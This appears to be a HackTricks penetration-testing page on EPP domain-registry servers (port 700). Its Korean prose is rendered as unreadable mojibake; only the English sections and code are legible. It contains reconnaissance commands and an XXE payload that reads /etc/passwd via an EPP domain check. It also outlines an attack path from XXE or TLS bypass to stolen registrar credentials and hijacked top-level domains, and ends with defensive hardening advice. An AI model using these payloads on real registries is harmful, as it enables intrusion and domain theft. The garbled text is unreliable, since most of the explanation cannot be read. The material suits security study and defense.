700 - Pentesting EPP

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

Extensible Provisioning Protocol (EPP)๋Š” ๋„๋ฉ”์ธ ์ด๋ฆ„ ๋“ฑ๋ก์†Œ์™€ ๋“ฑ๋ก์ž๊ฐ€ ๋„๋ฉ”์ธ ์ด๋ฆ„ ๋ฐ ๊ธฐํƒ€ ์ธํ„ฐ๋„ท ์ž์›์„ ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•˜๋Š” ๋„คํŠธ์›Œํฌ ํ”„๋กœํ† ์ฝœ์ž…๋‹ˆ๋‹ค. ์ด ํ”„๋กœํ† ์ฝœ์€ ๋„๋ฉ”์ธ ์ด๋ฆ„ ๋“ฑ๋ก, ๊ฐฑ์‹ , ์ด์ „ ๋ฐ ์‚ญ์ œ ํ”„๋กœ์„ธ์Šค์˜ ์ž๋™ํ™”๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜์—ฌ ๋„๋ฉ”์ธ ์ด๋ฆ„ ์‹œ์Šคํ…œ(DNS) ๋‚ด์˜ ๋‹ค์–‘ํ•œ ์—”ํ‹ฐํ‹ฐ ๊ฐ„์— ํ‘œ์ค€ํ™”๋˜๊ณ  ์•ˆ์ „ํ•œ ํ†ต์‹  ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. EPP๋Š” ์œ ์—ฐํ•˜๊ณ  ํ™•์žฅ ๊ฐ€๋Šฅํ•˜๋„๋ก ์„ค๊ณ„๋˜์–ด ์ธํ„ฐ๋„ท ์ธํ”„๋ผ์˜ ํ•„์š”์— ๋”ฐ๋ผ ์ƒˆ๋กœ์šด ๊ธฐ๋Šฅ๊ณผ ๋ช…๋ น์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธฐ๋ณธ์ ์œผ๋กœ, ์ด๋Š” TLD ๋“ฑ๋ก์ž๊ฐ€ TLD์—์„œ ์ƒˆ๋กœ์šด ๋„๋ฉ”์ธ์„ ๋“ฑ๋กํ•˜๊ธฐ ์œ„ํ•ด ๋„๋ฉ”์ธ ๋“ฑ๋ก์ž์—๊ฒŒ ์ œ๊ณตํ•  ํ”„๋กœํ† ์ฝœ ์ค‘ ํ•˜๋‚˜์ž…๋‹ˆ๋‹ค.

ํŽœํ…Œ์ŠคํŠธ

์ด ๋งค์šฐ ํฅ๋ฏธ๋กœ์šด ๊ธฐ์‚ฌ์—์„œ ์ผ๋ถ€ ๋ณด์•ˆ ์—ฐ๊ตฌ์ž๋“ค์ด ์ด ํ”„๋กœํ† ์ฝœ์˜ ์—ฌ๋Ÿฌ ๊ตฌํ˜„์ด XXE (XML External Entity)์— ์ทจ์•ฝํ•˜๋‹ค๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•œ ๋ฐฉ๋ฒ•์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ”„๋กœํ† ์ฝœ์€ XML์„ ์‚ฌ์šฉํ•˜์—ฌ ํ†ต์‹ ํ•˜๋ฏ€๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์ˆ˜์‹ญ ๊ฐœ์˜ ๋‹ค์–‘ํ•œ TLD๋ฅผ ์žฅ์•…ํ•  ์ˆ˜ ์žˆ์—ˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.


์—ด๊ฑฐ ๋ฐ ์ •์ฐฐ

EPP ์„œ๋ฒ„๋Š” ๊ฑฐ์˜ ํ•ญ์ƒ TLS๋ฅผ ํ†ตํ•ด TCP 700/tcp์—์„œ ์ˆ˜์‹  ๋Œ€๊ธฐํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ๋ฐฐํฌ๋Š” **์ƒํ˜ธ TLS (mTLS)**๋ฅผ ๊ฐ•์ œํ•˜๋ฏ€๋กœ ํด๋ผ์ด์–ธํŠธ๋Š” ๋“ฑ๋ก์†Œ CA์—์„œ ๋ฐœ๊ธ‰ํ•œ ์œ ํšจํ•œ ์ธ์ฆ์„œ๋ฅผ ์ œ์‹œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ๋งŽ์€ ๊ฐœ์ธ ํ…Œ์ŠคํŠธ ๋˜๋Š” ์‚ฌ์ „ ์ƒ์‚ฐ ๋ฐฐํฌ๋Š” ๊ทธ ์ œ์–ด๋ฅผ ์žŠ์–ด๋ฒ„๋ฆฝ๋‹ˆ๋‹ค:

# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head

์„œ๋ฒ„๊ฐ€ TLS ํ•ธ๋“œ์…ฐ์ดํฌ ํ›„ ์—ฐ๊ฒฐ์„ ์ข…๋ฃŒํ•˜์ง€ ์•Š์œผ๋ฉด ์ธ์ฆ๋˜์ง€ ์•Š์€ <hello/> ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ด๋ ค๊ณ  ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>

ํ…Œ์ŠคํŠธ์— ์œ ์šฉํ•œ ์˜คํ”ˆ ์†Œ์Šค ํด๋ผ์ด์–ธํŠธ

  • epp-client (Go) โ€“ ์ ๊ทน์ ์œผ๋กœ ์œ ์ง€ ๊ด€๋ฆฌ๋˜๋ฉฐ, TCP/TLS ๋ฐ EPP-over-HTTPS (RFC 8730)๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค: go install github.com/domainr/epp/cmd/epp@latest
  • gandi/go-epp โ€“ ํผ์ง• ๋˜๋Š” nuclei ์Šคํƒ€์ผ ์›Œํฌํ”Œ๋กœ์šฐ๋ฅผ ์œ„ํ•ด ์‰ฝ๊ฒŒ ๊ณ„์ธกํ•  ์ˆ˜ ์žˆ๋Š” ์ตœ์†Œ ํด๋ผ์ด์–ธํŠธ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ž…๋‹ˆ๋‹ค.
  • afq984/php-epp-client โ€“ ๋งŽ์€ ์†Œ๊ทœ๋ชจ ๋“ฑ๋ก ๊ธฐ๊ด€์—์„œ ์‚ฌ์šฉ๋˜๋Š” PHP ๊ตฌํ˜„; ์ฝ”๋“œ ๋ฆฌ๋ทฐ๋ฅผ ์œ„ํ•œ ํŽธ๋ฆฌํ•œ ๋Œ€์ƒ์ž…๋‹ˆ๋‹ค.

Go epp-client๋ฅผ ์‚ฌ์šฉํ•œ ์ตœ์†Œ ๋กœ๊ทธ์ธ+์ฒดํฌ ์Šคํฌ๋ฆฝํŠธ ์˜ˆ:

package main
import (
"github.com/domainr/epp"
"crypto/tls"
)

func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}

์ผ๋ฐ˜์ ์ธ ์ทจ์•ฝ์  ๋ฐ 2023-2025 ์ทจ์•ฝ์„ฑ

์—ฐ๋„๊ตฌ์„ฑ ์š”์†ŒCWE์˜ํ–ฅ
2023CoCCA Registry < 3.5CWE-611 XXE์กฐ์ž‘๋œ <epp> ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ†ตํ•œ ์›๊ฒฉ ํŒŒ์ผ ์ฝ๊ธฐ ๋ฐ SSRF (ํŒจ์น˜: 2023-11-02)
2024FRED EPP Server 2.xCWE-322 TLS ์ธ์ฆ์„œ ๊ฒ€์ฆ ๋ถ€์กฑmTLS ์šฐํšŒ๋กœ ์ธํ•œ ๋ฌด๋‹จ ๋“ฑ๋ก๊ธฐ๊ด€ ๋กœ๊ทธ์ธ ํ—ˆ์šฉ
2025๋…์  ๋“ฑ๋ก๊ธฐ๊ด€ ํŒจ๋„CWE-306 ์ค‘์š”ํ•œ ๊ธฐ๋Šฅ์— ๋Œ€ํ•œ ์ธ์ฆ ๋ˆ„๋ฝEPP-HTTP ๋ธŒ๋ฆฌ์ง€๋ฅผ ํ†ตํ•ด ๋…ธ์ถœ๋œ ๋„๋ฉ”์ธ ์ „์†ก ์Šน์ธ ์—”๋“œํฌ์ธํŠธ

XXE / SSRF ํŽ˜์ด๋กœ๋“œ (๋งŽ์€ Java/Spring ๊ตฌํ˜„์— ๋Œ€ํ•ด ์ž‘๋™)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>

When the parser is mis-configured (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true) the file content is returned inside the <resData> structure.

Other typical findings

  1. ์•ฝํ•œ ์ž๊ฒฉ ์ฆ๋ช… ์ •์ฑ… โ€“ EPP ๋กœ๊ทธ์ธ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ 8์ž ๋ฏธ๋งŒ; ์‚ฌ์–‘์ด ์†๋„ ์ œํ•œ์„ ์š”๊ตฌํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ณต๊ฒฉ์ด ์ข…์ข… ๊ฐ€๋Šฅํ•˜๋‹ค.
  2. ๋ˆ„๋ฝ๋œ registryLock / serverUpdateProhibited ์ƒํƒœ โ€“ ์ธ์ฆ ํ›„ ๊ณต๊ฒฉ์ž๋Š” ์ฆ‰์‹œ NS ๋ ˆ์ฝ”๋“œ๋ฅผ ์—…๋ฐ์ดํŠธํ•˜๊ณ  ํŠธ๋ž˜ํ”ฝ์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋‹ค.
  3. ์„œ๋ช…๋˜์ง€ ์•Š์€ ํด ๋ฉ”์‹œ์ง€ โ€“ ์ผ๋ถ€ ๊ตฌํ˜„์€ ์—ฌ์ „ํžˆ ํด Q&A ๋ฉ”์‹œ์ง€์— ์„œ๋ช…ํ•˜์ง€ ์•Š์•„ ๋“ฑ๋ก ๊ธฐ๊ด€ ์šด์˜์ž์˜ ์Šคํ‘ธํ•‘/ํ”ผ์‹ฑ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•œ๋‹ค.

Attack Path: From Zero to TLD Hijack

  1. Discover an EPP endpoint (often hidden behind a generic host like ot&e.<tld>.nic.<cc>).
  2. Abuse one of the weaknesses above to gain registrar-level credentials (XXE โ†’ SSRF to IMDSv1, credential exfil, or TLS-bypass).
  3. Issue <update> requests to change the domainโ€™s hostObj records to attacker-controlled name servers.
  4. (Optional) Submit a <transfer> to move the domain to an attacker-controlled registrar โ€“ many registries still rely on a single auth-code.
  5. Profit: full control of DNS zone, ability to request TLS certificates via ACME.

Defensive Measures & Hardening

  • Enforce mTLS with per-registrar client certificates and pin the registry CA.
  • Set parserFeature secure-processing=true or equivalent to kill XXE.
  • Run continuous fuzzing of the XML parser (e.g., with go-fuzz or jazzer for Java).
  • Deploy Registry Lock / server*Prohibited statuses for high-value domains.
  • Monitor poll queue for suspicious <transfer> or <update> commands and alert in real-time.
  • ICANN 2024 DNS-Abuse contract amendments require registries to prove rate-limit & auth controls โ€“ leverage them.

References

  • ICANN Security and Stability Advisory Committee (SSAC). โ€œSAC118: Consequences of Registry Operator Failure to Implement EPP Security Controlsโ€. 2024.
  • HackCompute โ€“ โ€œHacking EPP servers: abusing XXE to hijack TLDsโ€ (2023).

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ